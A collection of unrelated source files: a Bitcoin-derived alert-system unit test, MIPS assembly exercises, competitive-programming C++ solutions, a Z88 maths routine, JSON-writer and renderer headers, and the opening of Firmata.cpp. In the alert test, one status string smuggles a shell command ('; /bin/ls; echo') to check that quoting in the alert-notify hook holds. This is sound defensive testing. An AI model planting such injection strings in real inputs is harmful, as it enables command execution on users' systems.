object_event 5, 3, SPRITE_POKEFAN_F, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, PlayersNeighborScript, EVENT_PLAYERS_NEIGHBORS_HOUSE_NEIGHBOR
|
// Copyright (c) 2013-2015 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
// Unit tests for alert system
#include "alert.h"
#include "chain.h"
#include "chainparams.h"
#include "clientversion.h"
#include "data/alertTests.raw.h"
#include "serialize.h"
#include "streams.h"
#include "util.h"
#include "utilstrencodings.h"
#include "test/test_newcoin.h"
#include <fstream>
#include <boost/filesystem/operations.hpp>
#include <boost/foreach.hpp>
#include <boost/test/unit_test.hpp>
//
// Sign a CAlert and serialize it
//
bool SignAndSave(CAlert &alert)
{
// Sign
if(!alert.Sign())
{
printf("SignAndSave() : could not sign alert:\n%s", alert.ToString().c_str());
return false;
}
std::string strFilePath = "src/test/data/alertTests.raw";
// open output file and associate it with CAutoFile
FILE *file = fopen(strFilePath.c_str(), "ab+");
CAutoFile fileout(file, SER_DISK, CLIENT_VERSION);
if (fileout.IsNull())
return error("%s: Failed to open file %s", __func__, strFilePath);
try {
fileout << alert;
}
catch (std::exception &e) {
return error("%s: Serialize or I/O error - %s", __func__, e.what());
}
fileout.fclose();
return true;
}
//
// alertTests contains 8 alerts, generated with this code
//
void GenerateAlertTests()
{
CAlert alert;
alert.nRelayUntil = 60;
alert.nExpiration = 24 * 60 * 60;
alert.nID = 1;
alert.nCancel = 0; // cancels previous messages up to this ID number
alert.nMinVer = 0; // These versions are protocol versions
alert.nMaxVer = 999001;
alert.nPriority = 1;
alert.strComment = "Alert comment";
alert.strStatusBar = "Alert 1";
SignAndSave(alert);
alert.setSubVer.insert(std::string("/Satoshi:0.1.0/"));
alert.strStatusBar = "Alert 1 for Satoshi 0.1.0";
SignAndSave(alert);
alert.setSubVer.insert(std::string("/Satoshi:0.2.0/"));
alert.strStatusBar = "Alert 1 for Satoshi 0.1.0, 0.2.0";
SignAndSave(alert);
alert.setSubVer.clear();
++alert.nID;
alert.nCancel = 1;
alert.nPriority = 100;
alert.strStatusBar = "Alert 2, cancels 1";
SignAndSave(alert);
alert.nExpiration += 60;
++alert.nID;
SignAndSave(alert);
++alert.nID;
alert.nMinVer = 11;
alert.nMaxVer = 22;
SignAndSave(alert);
++alert.nID;
alert.strStatusBar = "Alert 2 for Satoshi 0.1.0";
alert.setSubVer.insert(std::string("/Satoshi:0.1.0/"));
SignAndSave(alert);
++alert.nID;
alert.nMinVer = 0;
alert.nMaxVer = 999999;
alert.strStatusBar = "Evil Alert'; /bin/ls; echo '";
alert.setSubVer.clear();
SignAndSave(alert);
}
struct ReadAlerts : public TestingSetup
{
ReadAlerts()
{
std::vector<unsigned char> vch(alert_tests::alertTests, alert_tests::alertTests + sizeof(alert_tests::alertTests));
CDataStream stream(vch, SER_DISK, CLIENT_VERSION);
try {
while (!stream.eof())
{
CAlert alert;
stream >> alert;
alerts.push_back(alert);
}
}
catch (const std::exception&) { }
}
~ReadAlerts() { }
static std::vector<std::string> read_lines(boost::filesystem::path filepath)
{
std::vector<std::string> result;
std::ifstream f(filepath.string().c_str());
std::string line;
while (std::getline(f,line))
result.push_back(line);
return result;
}
std::vector<CAlert> alerts;
};
BOOST_FIXTURE_TEST_SUITE(Alert_tests, ReadAlerts)
// Steps to generate alert tests:
// - update alerts in GenerateAlertTests() (optional)
// - enable code below (#if 1)
// - replace "fffffffffffffffffffffffffffffffffffffffffffffffffff" with the actual MAINNET privkey
// - recompile and run "/path/to/test_newcoin -t Alert_test"
//
// NOTE: make sure to disable code and remove alert privkey when you're done!
//
#if 0
BOOST_AUTO_TEST_CASE(GenerateAlerts)
{
SoftSetArg("-alertkey", "fffffffffffffffffffffffffffffffffffffffffffffffffff");
GenerateAlertTests();
}
#endif
BOOST_AUTO_TEST_CASE(AlertApplies)
{
SetMockTime(11);
const std::vector<unsigned char>& alertKey = Params(CBaseChainParams::MAIN).AlertKey();
BOOST_FOREACH(const CAlert& alert, alerts)
{
BOOST_CHECK(alert.CheckSignature(alertKey));
}
BOOST_CHECK(alerts.size() >= 3);
// Matches:
BOOST_CHECK(alerts[0].AppliesTo(1, ""));
BOOST_CHECK(alerts[0].AppliesTo(999001, ""));
BOOST_CHECK(alerts[0].AppliesTo(1, "/Satoshi:11.11.11/"));
BOOST_CHECK(alerts[1].AppliesTo(1, "/Satoshi:0.1.0/"));
BOOST_CHECK(alerts[1].AppliesTo(999001, "/Satoshi:0.1.0/"));
BOOST_CHECK(alerts[2].AppliesTo(1, "/Satoshi:0.1.0/"));
BOOST_CHECK(alerts[2].AppliesTo(1, "/Satoshi:0.2.0/"));
// Don't match:
BOOST_CHECK(!alerts[0].AppliesTo(-1, ""));
BOOST_CHECK(!alerts[0].AppliesTo(999002, ""));
BOOST_CHECK(!alerts[1].AppliesTo(1, ""));
BOOST_CHECK(!alerts[1].AppliesTo(1, "Satoshi:0.1.0"));
BOOST_CHECK(!alerts[1].AppliesTo(1, "/Satoshi:0.1.0"));
BOOST_CHECK(!alerts[1].AppliesTo(1, "Satoshi:0.1.0/"));
BOOST_CHECK(!alerts[1].AppliesTo(-1, "/Satoshi:0.1.0/"));
BOOST_CHECK(!alerts[1].AppliesTo(999002, "/Satoshi:0.1.0/"));
BOOST_CHECK(!alerts[1].AppliesTo(1, "/Satoshi:0.2.0/"));
BOOST_CHECK(!alerts[2].AppliesTo(1, "/Satoshi:0.3.0/"));
SetMockTime(0);
}
BOOST_AUTO_TEST_CASE(AlertNotify)
{
SetMockTime(11);
const std::vector<unsigned char>& alertKey = Params(CBaseChainParams::MAIN).AlertKey();
boost::filesystem::path temp = GetTempPath() /
boost::filesystem::unique_path("alertnotify-%%%%.txt");
mapArgs["-alertnotify"] = std::string("echo %s >> ") + temp.string();
BOOST_FOREACH(CAlert alert, alerts)
alert.ProcessAlert(alertKey, false);
std::vector<std::string> r = read_lines(temp);
BOOST_CHECK_EQUAL(r.size(), 4u);
// Windows built-in echo semantics are different than posixy shells. Quotes and
// whitespace are printed literally.
#ifndef WIN32
BOOST_CHECK_EQUAL(r[0], "Alert 1");
BOOST_CHECK_EQUAL(r[1], "Alert 2, cancels 1");
BOOST_CHECK_EQUAL(r[2], "Alert 2, cancels 1");
BOOST_CHECK_EQUAL(r[3], "Evil Alert; /bin/ls; echo "); // single-quotes should be removed
#else
BOOST_CHECK_EQUAL(r[0], "'Alert 1' ");
BOOST_CHECK_EQUAL(r[1], "'Alert 2, cancels 1' ");
BOOST_CHECK_EQUAL(r[2], "'Alert 2, cancels 1' ");
BOOST_CHECK_EQUAL(r[3], "'Evil Alert; /bin/ls; echo ' ");
#endif
boost::filesystem::remove(temp);
SetMockTime(0);
}
BOOST_AUTO_TEST_SUITE_END()
|
# timetemplate.asm
# Written 2015 by F Lundevall
# Copyright abandonded - this file is in the public domain.
.macro PUSH (%reg)
addi $sp,$sp,-4
sw %reg,0($sp)
.end_macro
.macro POP (%reg)
lw %reg,0($sp)
addi $sp,$sp,4
.end_macro
.data
.align 2
mytime: .word 0x5957
timstr: .ascii "text more text lots of text\0"
.text
main:
# print timstr
la $a0,timstr
li $v0,4
syscall
nop
# wait a little
li $a0,1000
jal delay
nop
# call tick
la $a0,mytime
jal tick
nop
# call your function time2string
la $a0,timstr
la $t0,mytime
lw $a1,0($t0)
jal time2string
nop
# print a newline
li $a0,10
li $v0,11
syscall
nop
# go back and do it all again
j main
nop
# tick: update time pointed to by $a0
tick: lw $t0,0($a0) # get time
addiu $t0,$t0,1 # increase
andi $t1,$t0,0xf # check lowest digit
sltiu $t2,$t1,0xa # if digit < a, okay
bnez $t2,tiend
nop
addiu $t0,$t0,0x6 # adjust lowest digit
andi $t1,$t0,0xf0 # check next digit
sltiu $t2,$t1,0x60 # if digit < 6, okay
bnez $t2,tiend
nop
addiu $t0,$t0,0xa0 # adjust digit
andi $t1,$t0,0xf00 # check minute digit
sltiu $t2,$t1,0xa00 # if digit < a, okay
bnez $t2,tiend
nop
addiu $t0,$t0,0x600 # adjust digit
andi $t1,$t0,0xf000 # check last digit
sltiu $t2,$t1,0x6000 # if digit < 6, okay
bnez $t2,tiend
nop
addiu $t0,$t0,0xa000 # adjust last digit
tiend: sw $t0,0($a0) # save updated result
jr $ra # return
nop
# Subroutine hexasc from task 2
hexasc:
andi $t0, $a0, 0xf # Bitwise AND with 0xf to keep the 4 LSB in the argument, store in t0
ble $t0, 0x9, number # Branch if the input is less than or equal to 9, else continue
nop # delay slot filler
ble $t0, 0xf, char # Branch if the input is less than or equal to 15, but greater than 9
nop # Delay slot filler
number: # Subroutine for input 0-9
addi $v0, $t0, 0x30 # ASCII numbers start at 30, therefore we add the input to zero (0x30)
jr $ra # Jump to return adress that was linked with function call
nop # delay slot filler
char: # Subroutine for input 10-15
addi $v0, $t0, 0x37 # Since ASCII letters start at 0x41, we add an offset of 7
jr $ra # Jump to return adress that was linked with function call
nop # delay slot filler
# Stub of the delay subroutine (Deprecated)
# delay:
# jr $ra
# nop
# New delay funtion (Task 4)
delay:
PUSH ($ra)
move $t1, $a0 # Store argument in temp so we can use it
while:
ble $t1, $zero, exit_delay # Check if ms > 0
nop
sub $t1, $t1, 1 # ms--;
li $t2, 0 # int i = 0
for:
bge $t2, 300, while # Check if i < parameter (Can be changed for speed), then jump or continue
nop
addi $t2, $t2, 1 # i++;
j for # Go to next iteration of for loop
nop
exit_delay: # End of subroutine
POP ($ra) # Restore the return adress
jr $ra # Jump back to caller
nop
# Converts time-info into a string of printable characters, with a null-byte as an end-of-string-marker
# $a0 contains the adress to the section of memory where we will store the result.
# $a1 conains the NBCD-encoded time info, where we only consider the 16 LSB.
time2string:
PUSH ($s0)
PUSH ($s1) # Save contents of s1 to restore it after the function ends
PUSH ($ra) # Save the return adress on the stack
move $s1, $a1 # Move contents of $a0 to $s1 so we can work with it
move $s0,$a0
# First digit
andi $t1, $s1, 0xf000 # Masking out bit from index 15 to 12
srl $a0, $t1, 12 # Shifting the bits to lowest position and store it in $a0 for hexas
jal hexasc # Calling the hexasc that will transform the decimal into hexadecimal
nop
sb $v0, 0($s0) # Save the return value from hexasc in the first byte location $s1
# points to
# Second digit
andi $t1, $s1, 0x0f00 # Masking out bit from index 11 to 8
srl $a0, $t1, 8 # Shifting the bits to lowest position and store it in $a0 for hexasc
jal hexasc # Calling the hexasc that will transform the decimal into hexadecimal
nop
sb $v0, 1($s0) # Save the return value from hexasc in the second byte location $s1
# points to
# Adding the colon
li $t1, 0x3a # Loading the ASCII code for colon
sb $t1, 2($s0) # Save the return value from hexasc in the third byte location $s1
# points to
# Third digit
andi $t1, $s1, 0x00f0 # Masking out bit from index 7 to 4
srl $a0, $t1, 4 # Shifting the bits to lowest position and store it in $a0 for hexasc
jal hexasc # Calling the hexasc that will transform the decimal into hexadecimal
nop
sb $v0, 3($s0) # Save the return value from hexasc in the fourth byte location $s1
# points to
# Forth digit
andi $t1, $s1, 0x000f # Masking out bit from index 3 to 0
move $a0, $t1 # No need for shifting, just move it to the argument.
jal hexasc # Calling the hexasc that will transform the decimal into hexadecimal
nop
sb $v0, 4($s0) # Save the return value from hexasc in the fifth byte location $s1
# points to
# Check if a minute has passed
andi $t1, $s1, 0x00ff
beq $t1, 0x0000, addx
# Adding the NUL byte
li $t1, 0x00 # Loading the ASCII code for NUL
sb $t1, 5($s0) # Save the return value from hexasc in the sixth byte location $s1
j exit_time2string # points to
# End of subroutine. Restoring registers and jumping back to caller.
exit_time2string:
POP ($ra)
POP ($s1)
POP ($s0)
jr $ra
nop
# Subroutine to add an X in the output when a minute has passed
addx:
li $t1, 0x58 # Load in the ASCII value for X
sb $t1, 5($s0) # Save the X on the fifth
li $t1, 0x00 # Loading the ASCII code for NUL
sb $t1, 6($s0) # Save the NUL byte the sixth byte location $s1
j exit_time2string # points to
|
#pragma comment(linker, "/stack:200000000")
#pragma GCC optimize("Ofast,no-stack-protector")
#pragma GCC target("sse,sse2,sse3,ssse3,sse4,popcnt,abm,mmx,avx,tune=native")
#pragma GCC optimize("unroll-loops")
#define _CRT_SECURE_NO_WARNINGS
#include<bits/stdc++.h>
#include <ext/pb_ds/detail/standard_policies.hpp>
#include<ext/pb_ds/assoc_container.hpp>
#include<ext/pb_ds/tree_policy.hpp>
using namespace __gnu_pbds;
using namespace std;
#define mx 100010
#define inf 0x3f3f3f3f
#define mod 1000000007
#define PI 2*acos(0.0)
#define E 2.71828182845904523536
#define ll long long int
#define ull unsigned long long int
#define pii pair<int,int>
#define pll pair<ll,ll>
#define valid(tx,ty) tx>=0&&tx<r&&ty>=0&&ty<c
#define mem(arr,val) memset(arr,val,sizeof(arr))
#define fast ios_base::sync_with_stdio(false),cin.tie(NULL)
#define forstl(x) for(__typeof(x.begin()) it=(x.begin());it!=(x.end());++it)
const int fx[]={+0,+0,+1,-1,-1,+1,-1,+1};
const int fy[]={-1,+1,+0,+0,+1,+1,-1,-1};
template <typename T> bool bitcheck(T p,T pos){return (bool)(p&(1<<pos));}
template <typename T> T biton(T p,T pos){return p=p|(1<<pos);}
template <typename T> T bitoff(T p,T pos){return p=p&~(1<<pos);}
template <typename T> ll toint(T s) {ll p;stringstream ss(s); ss>>p; return p;}
template <typename T> string tostring(T n) {stringstream ss; ss << n; return ss.str();}
template <typename T> T POW(T b,T p) {T Ans=1; while(p){if(p&1)Ans=(Ans*b);b=(b*b);p>>=1;}return Ans;}
template <typename T> T BigMod(T b,T p,T Mod) {T Ans=1; while(p){if(p&1)Ans=(Ans*b)%Mod;b=(b*b)%Mod;p>>=1;}return Ans;}
template <typename T> T ModInverse(T p,T Mod) {return BigMod(p,Mod-2,Mod);}
template <typename T> using ordered_set = tree<T, null_type, less<T>, rb_tree_tag, tree_order_statistics_node_update>;
template <typename T> using ordered_set2 = tree<pair <T, string>, null_type, less<pair <T, string>>, rb_tree_tag, tree_order_statistics_node_update>;
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int main(){
// freopen("Input.txt","r",stdin); freopen("Output.txt","w",stdout);
int n,k;
cin>>n>>k;
int a[n+5],b[n+5];
for(int i=1;i<=n;i++) cin>>a[i];
for(int i=1;i<=n;i++) cin>>b[i];
int re=1e9;
int ans=0;
while(1){
int val=0;
for(int i=1;i<=n;i++){
if(a[i]<=b[i]){
b[i]=b[i]-a[i];
}
else{
val=val+a[i]-b[i];
b[i]=0;
}
}
if(val>k) break;
else{
k-=val;
ans++;
}
}
printf("%d\n",ans);
return 0;
}
|
#x from 10 - 370, y from 100 - 200, cube 45 x 25, word 8 x 16
.text
li $s0, 10 #x position of the head
li $s1, 100 #y position of the head
li $t7, 200
li $t8, 370
li $s7, 10
outer: li $a2, 0xFFFFFFFF #loads the color white into the register $a2
li $s0, 10
inner: move $s3, $s0
move $s4, $s1
li $s2, 88 # where you will need to load print number into $s2
div $s2, $s7
mfhi $s6
mflo $s5
add $a0, $s5, $zero
jal read
addi $s0, $s3, 12
move $s1, $s4
add $a0, $s6, $zero
jal read
move $s0, $s3
move $s1, $s4
addi $s0, $s0, 45
blt $s0, $t8, inner
addi $s1, $s1, 25
blt $s1, $t7, outer
# jal waive
j exit
waive: addi $sp, $sp, -4
sw $ra, ($sp)
li $a2, 0x00000000 #loads the color black
li $s0, 10 #x position of the head
li $s1, 100 #y position of the head
outer2: li $s0, 10
inner2: move $s3, $s0
move $s4, $s1
jal draw8
addi $s0, $s3, 12
move $s1, $s4
jal draw8
move $s0, $s3
move $s1, $s4
addi $s0, $s0, 45
blt $s0, $t8, inner2
addi $s1, $s1, 25
blt $s1, $t7, outer2
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
read: addi $sp, $sp, -4
sw $ra, ($sp)
move $s2, $a0
beq $s2, 0, draw0
beq $s2, 1, draw1
beq $s2, 2, draw2
beq $s2, 3, draw3
beq $s2, 4, draw4
beq $s2, 5, draw5
beq $s2, 6, draw6
beq $s2, 7, draw7
beq $s2, 8, draw8
beq $s2, 9, draw9
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw0: addi $sp, $sp, -4
sw $ra, ($sp)
addi $t6, $s0, 8
jal row
addi $t6, $s1, 8
jal col
addi $t6, $s1, 8
jal col
addi $s0, $s0, -8
addi $s1, $s1, -16
addi $t6, $s1, 8
jal col
addi $t6, $s1, 8
jal col
addi $t6, $s0, 8
jal row
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw1: addi $sp, $sp, -4
sw $ra, ($sp)
addi $s0, $s0, 8
addi $t6, $s1, 8
jal col
addi $t6, $s1, 8
jal col
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw2: addi $sp, $sp, -4
sw $ra, ($sp)
addi $t6, $s0, 8
jal row
addi $t6, $s1, 8
jal col
addi $t6, $s0, 0
addi $s0, $s0, -8
jal row
addi $s0, $s0, -8
addi $t6, $s1, 8
jal col
addi $t6, $s0, 8
jal row
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw3: addi $sp, $sp, -4
sw $ra, ($sp)
addi $t6, $s0, 8
jal row
addi $t6, $s1, 8
jal col
addi $t6, $s1, 8
jal col
addi $t6, $s0, 0
addi $s0, $s0, -8
jal row
addi $s0, $s0, -8
addi $s1, $s1, -8
jal row
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw4: addi $sp, $sp, -4
sw $ra, ($sp)
addi $t6, $s1, 8
jal col
addi $t6, $s0, 8
jal row
addi $t6, $s1, 8
jal col
addi $s1, $s1, -16
addi $t6, $s1, 8
jal col
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw5: addi $sp, $sp, -4
sw $ra, ($sp)
addi $t6, $s1, 8
jal col
addi $t6, $s0, 8
jal row
addi $t6, $s1, 8
jal col
addi $t6, $s0, 0
addi $s0, $s0, -8
jal row
addi $s0, $s0, -8
addi $s1, $s1, -16
addi $t6, $s0, 8
jal row
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw6: addi $sp, $sp, -4
sw $ra, ($sp)
jal draw5
addi $s0, $s0, -8
addi $s1, $s1, 8
addi $t6, $s1, 8
jal col
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw7: addi $sp, $sp, -4
sw $ra, ($sp)
addi $t6, $s0, 8
jal row
addi $t6, $s1, 8
jal col
addi $t6, $s1, 8
jal col
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw8: addi $sp, $sp, -4
sw $ra, ($sp)
jal draw0
addi $t6, $s0, 0
addi $s0, $s0, -8
addi $s1, $s1, -8
jal row
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
draw9: addi $sp, $sp, -4
sw $ra, ($sp)
addi $t6, $s0, 8
jal row
addi $t6, $s1, 8
jal col
addi $t6, $s1, 8
jal col
addi $s0, $s0, -8
addi $s1, $s1, -16
addi $t6, $s1, 8
jal col
addi $t6, $s0, 8
jal row
addi $t6, $s0, 0
addi $s0, $s0, -8
addi $s1, $s1, 8
jal row
lw $ra, ($sp)
addi $sp, $sp, 4
jr $ra
row:
ble $s0, $t6, DrawRow
addi $s0, $s0, -1
jr $ra
col:
ble $s1, $t6, DrawCol
addi $s1, $s1, -1
jr $ra
DrawRow:
li $t3, 0x10000100 #t3 = first Pixel of the screen
sll $t0, $s1, 9 #y = y * 512
addu $t0, $t0, $s0 # (xy) t0 = x + y
sll $t0, $t0, 2 # (xy) t0 = xy * 4
addu $t0, $t3, $t0 # adds xy to the first pixel ( t3 )
sw $a2, ($t0) # put the color ($a2) in $t0
addi $s0, $s0, 1 #adds 1 to the X of the head
j row
DrawCol:
li $t3, 0x10000100 #t3 = first Pixel of the screen
sll $t0, $s1, 9 #y = y * 512
addu $t0, $t0, $s0 # (xy) t0 = x + y
sll $t0, $t0, 2 # (xy) t0 = xy * 4
addu $t0, $t3, $t0 # adds xy to the first pixel ( t3 )
sw $a2, ($t0) # put the color ($a2) in $t0
addi $s1, $s1, 1 #adds 1 to the X of the head
j col
exit:
li $v0, 10
syscall
|
;
;
; Z88 Maths Routines
;
; C Interface for Small C+ Compiler
;
; 7/12/98 djm
;double floor(double)
;Number in FA..
SECTION code_fp
IF FORz88
INCLUDE "target/z88/def/fpp.def"
ELSE
INCLUDE "fpp.def"
ENDIF
PUBLIC floor
EXTERN fsetup
EXTERN stkequ2
.floor
call fsetup
IF FORz88
fpp(FP_INT) ;floor it (round down!)
ELSE
ld a,+(FP_INT)
call FPP
ENDIF
jp stkequ2
|
//****************************************************************************
// Copyright © 2015 Jan Erik Breimo. All rights reserved.
// Created by Jan Erik Breimo on 2015-09-21.
//
// This file is distributed under the Simplified BSD License.
// License text is included with the source distribution.
//****************************************************************************
#pragma once
#include <iosfwd>
#include <memory>
#include <string>
#include "Writer.hpp"
namespace Yson
{
class YSON_API JsonWriter : public Writer
{
public:
/**
* @brief Creates a JSON writer that writes to an internal buffer.
*
* The buffer can be retrieved with the buffer() function.
*
* @param formatting the automatic formatting that will be used.
*/
explicit JsonWriter(JsonFormatting formatting = JsonFormatting::NONE);
/**
* @brief Creates a JSON writer that creates and writes to a file
* named @a fileName.
* @param fileName The UTF-8 encoded name of the file.
* @param formatting the automatic formatting that will be used.
*/
explicit JsonWriter(const std::string& fileName,
JsonFormatting formatting = JsonFormatting::NONE);
explicit JsonWriter(std::ostream& stream,
JsonFormatting formatting = JsonFormatting::NONE);
JsonWriter(const JsonWriter&) = delete;
JsonWriter(JsonWriter&& rhs) noexcept;
~JsonWriter() override;
JsonWriter& operator=(const JsonWriter&) = delete;
JsonWriter& operator=(JsonWriter&& rhs) noexcept;
std::ostream* stream() override;
[[nodiscard]]
std::pair<const void*, size_t> buffer() const override;
[[nodiscard]]
const std::string& key() const override;
JsonWriter& key(std::string key) override;
JsonWriter& beginArray() override;
JsonWriter& beginArray(
const StructureParameters& parameters) override;
JsonWriter& endArray() override;
JsonWriter& beginObject() override;
JsonWriter& beginObject(
const StructureParameters& parameters) override;
JsonWriter& endObject() override;
JsonWriter& null() override;
JsonWriter& boolean(bool value) override;
JsonWriter& value(char value) override;
JsonWriter& value(int8_t value) override;
JsonWriter& value(int16_t value) override;
JsonWriter& value(int32_t value) override;
JsonWriter& value(int64_t value) override;
JsonWriter& value(uint8_t value) override;
JsonWriter& value(uint16_t value) override;
JsonWriter& value(uint32_t value) override;
JsonWriter& value(uint64_t value) override;
JsonWriter& value(float value) override;
JsonWriter& value(double value) override;
JsonWriter& value(long double value);
JsonWriter& value(std::wstring_view text) override;
JsonWriter& value(std::string_view value) override;
JsonWriter& binary(const void* data, size_t size) override;
JsonWriter& base64(const void* data, size_t size) override;
JsonWriter& rawValue(std::string_view value);
JsonWriter& rawText(std::string_view value);
JsonWriter& indent();
JsonWriter& outdent();
JsonWriter& writeComma();
JsonWriter& writeIndentation();
JsonWriter& writeNewline();
JsonWriter& writeSeparator(size_t count = 1);
[[nodiscard]]
std::pair<char, unsigned> indentation() const;
JsonWriter& setIndentation(char character, unsigned width);
[[nodiscard]]
bool isFormattingEnabled() const;
JsonWriter& setFormattingEnabled(bool value);
[[nodiscard]]
int languageExtensions() const;
JsonWriter& setLanguageExtensions(int value);
/** @brief Returns true if special floating point values will be
* written as values.
*
* When this flag is enabled, the special values not-a-number and
* positive and negative infinity are written as "NaN", "Infinity"
* and "-Infinity" respectively. If it is disabled, the write
* functions will throw an exception if it encounters any of these
* values.
*/
[[nodiscard]]
bool isNonFiniteFloatsEnabled() const;
JsonWriter& setNonFiniteFloatsEnabled(bool value);
[[nodiscard]]
bool isUnquotedValueNamesEnabled() const;
JsonWriter& setUnquotedValueNamesEnabled(bool value);
[[nodiscard]]
bool isEscapeNonAsciiCharactersEnabled() const;
JsonWriter& setEscapeNonAsciiCharactersEnabled(bool value);
[[nodiscard]]
bool isMultilineStringsEnabled() const;
JsonWriter& setMultilineStringsEnabled(bool value);
[[nodiscard]]
int maximumLineWidth() const;
JsonWriter& setMaximumLineWidth(int value);
[[nodiscard]]
int floatingPointPrecision() const;
JsonWriter& setFloatingPointPrecision(int value);
JsonWriter& flush() override;
private:
struct Members;
[[nodiscard]]
Members& members() const;
void write(std::string_view s);
void write(const char* s, size_t size);
void writeMultiLine(std::string_view s);
JsonWriter& writeString(std::string_view text);
JsonWriter(std::unique_ptr<std::ostream> streamPtr,
std::ostream* stream,
JsonFormatting formatting = JsonFormatting::NONE);
void beginValue();
[[nodiscard]]
JsonFormatting formatting() const;
[[nodiscard]]
bool isInsideObject() const;
JsonWriter& beginStructure(char startChar, char endChar,
JsonParameters parameters = {});
JsonWriter& endStructure(char endChar);
void writeIndentationImpl();
template <typename T>
JsonWriter& writeIntValueImpl(T number, const char* format);
template <typename T>
JsonWriter& writeFloatValueImpl(T number, const char* format);
enum LanguageExtensions
{
NON_FINITE_FLOATS = 1,
MULTILINE_STRINGS = 2,
UNQUOTED_VALUE_NAMES = 4,
ESCAPE_NON_ASCII_CHARACTERS = 8
};
[[nodiscard]]
bool languageExtension(LanguageExtensions ext) const;
JsonWriter& setLanguageExtension(LanguageExtensions ext, bool value);
std::unique_ptr<Members> m_Members;
};
}
|
// Copyright (c) Peter Hillerström (skipifzero.com, peter@hstroem.se)
// For other contributors see Contributors.txt
//
// This software is provided 'as-is', without any express or implied
// warranty. In no event will the authors be held liable for any damages
// arising from the use of this software.
//
// Permission is granted to anyone to use this software for any purpose,
// including commercial applications, and to alter it and redistribute it
// freely, subject to the following restrictions:
//
// 1. The origin of this software must not be misrepresented; you must not
// claim that you wrote the original software. If you use this software
// in a product, an acknowledgment in the product documentation would be
// appreciated but is not required.
// 2. Altered source versions must be plainly marked as such, and must not be
// misrepresented as being the original software.
// 3. This notice may not be removed or altered from any source distribution.
#pragma once
namespace sfz {
// RendererUI class
// ------------------------------------------------------------------------------------------------
struct RendererState;
struct RendererConfigurableState;
class RendererUI final {
public:
// Constructors & destructors
// --------------------------------------------------------------------------------------------
RendererUI() noexcept = default;
RendererUI(const RendererUI&) = delete;
RendererUI& operator= (const RendererUI&) = delete;
RendererUI(RendererUI&& other) noexcept { this->swap(other); }
RendererUI& operator= (RendererUI&& other) noexcept { this->swap(other); return *this; }
~RendererUI() noexcept { this->destroy(); }
// State methods
// --------------------------------------------------------------------------------------------
void swap(RendererUI& other) noexcept;
void destroy() noexcept;
// Methods
// --------------------------------------------------------------------------------------------
void render(RendererState& state) noexcept;
};
} // namespace sfz
|
#include <iostream>
using namespace std;
int sol(int a, int b) { //euclides
if(b == 0) return a;
return sol(b, a % b);
}
int main() {
int n; cin >> n;
int arr[n];
for(int i = 0; i < n; ++i)
cin >> arr[i];
if(n == 1) {
cout << arr[0]<<'\n';
return 0;
}
int gcd = sol(arr[0], arr[1]);
for(int i = 2; i < n; ++i)
gcd = sol(gcd, arr[i]);
cout<<gcd<<'\n';
return 0;
} |
/*
Firmata.cpp - Firmata library
Copyright (C) 2006-2008 Hans-Christoph Steiner. All rights reserved.
Revision: 08/18/2011 (Scott Hanson)
- Firmata firmware version number bug fix
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
See file LICENSE.txt for further informations on licensing terms.
*/
//******************************************************************************
//* Includes
//******************************************************************************
#include "WProgram.h"
#include "HardwareSerial.h"
#include "Firmata.h"
extern "C" {
#include <string.h>
#include <stdlib.h>
}
//******************************************************************************
//* Support Functions
//******************************************************************************
void sendValueAsTwo7bitBytes(int value)
{
Serial.print(value & B01111111, BYTE); // LSB
Serial.print(value >> 7 & B01111111, BYTE); // MSB
}
void startSysex(void)
{
Serial.print(START_SYSEX, BYTE);
}
void endSysex(void)
{
Serial.print(END_SYSEX, BYTE);
}
//******************************************************************************
//* Constructors
//******************************************************************************
FirmataClass::FirmataClass(void)
{
firmwareVersionCount = 0;
systemReset();
}
//******************************************************************************
//* Public Methods
//******************************************************************************
/* begin method for overriding default serial bitrate */
void FirmataClass::begin(void)
{
begin(57600);
}
/* begin method for overriding default serial bitrate */
void FirmataClass::begin(long speed)
{
#if defined(__AVR_ATmega128__) // Wiring
Serial.begin((uint32_t)speed);
#else
Serial.begin(speed);
#endif
blinkVersion();
delay(300);
printVersion();
printFirmwareVersion();
}
// output the protocol version message to the serial port
void FirmataClass::printVersion(void) {
Serial.print(REPORT_VERSION, BYTE);
Serial.print(FIRMATA_MAJOR_VERSION, BYTE);
Serial.print(FIRMATA_MINOR_VERSION, BYTE);
}
void FirmataClass::blinkVersion(void)
{
// flash the pin with the protocol version
pinMode(VERSION_BLINK_PIN,OUTPUT);
pin13strobe(FIRMATA_MAJOR_VERSION, 200, 400);
delay(300);
pin13strobe(2,1,4); // separator, a quick burst
delay(300);
pin13strobe(FIRMATA_MINOR_VERSION, 200, 400);
}
void FirmataClass::printFirmwareVersion(void)
{
byte i;
if(firmwareVersionCount) { // make sure that the name has been set before reporting
startSysex();
Serial.print(REPORT_FIRMWARE, BYTE);
Serial.print(firmwareVersionVector[0]); // major version number
Serial.print(firmwareVersionVector[1]); // minor version number
for(i=2; i<firmwareVersionCount; ++i) {
sendValueAsTwo7bitBytes(firmwareVersionVector[i]);
}
endSysex();
}
}
void FirmataClass::setFirmwareNameAndVersion(const char *name, byte major, byte minor)
{
const char *filename;
char *extension;
// parse out ".cpp" and "applet/" that comes from using __FILE__
extension = strstr(name, ".cpp");
filename = strrchr(name, '/') + 1; //points to slash, +1 gets to start of filename
// add two bytes for version numbers
if(extension && filename) {
firmwareVersionCount = extension - filename + 2;
filename = name;
} else {
firmwareVersionCount = strlen(name) + 2;
filename = name;
}
firmwareVersionVector = (byte *) malloc(firmwareVersionCount);
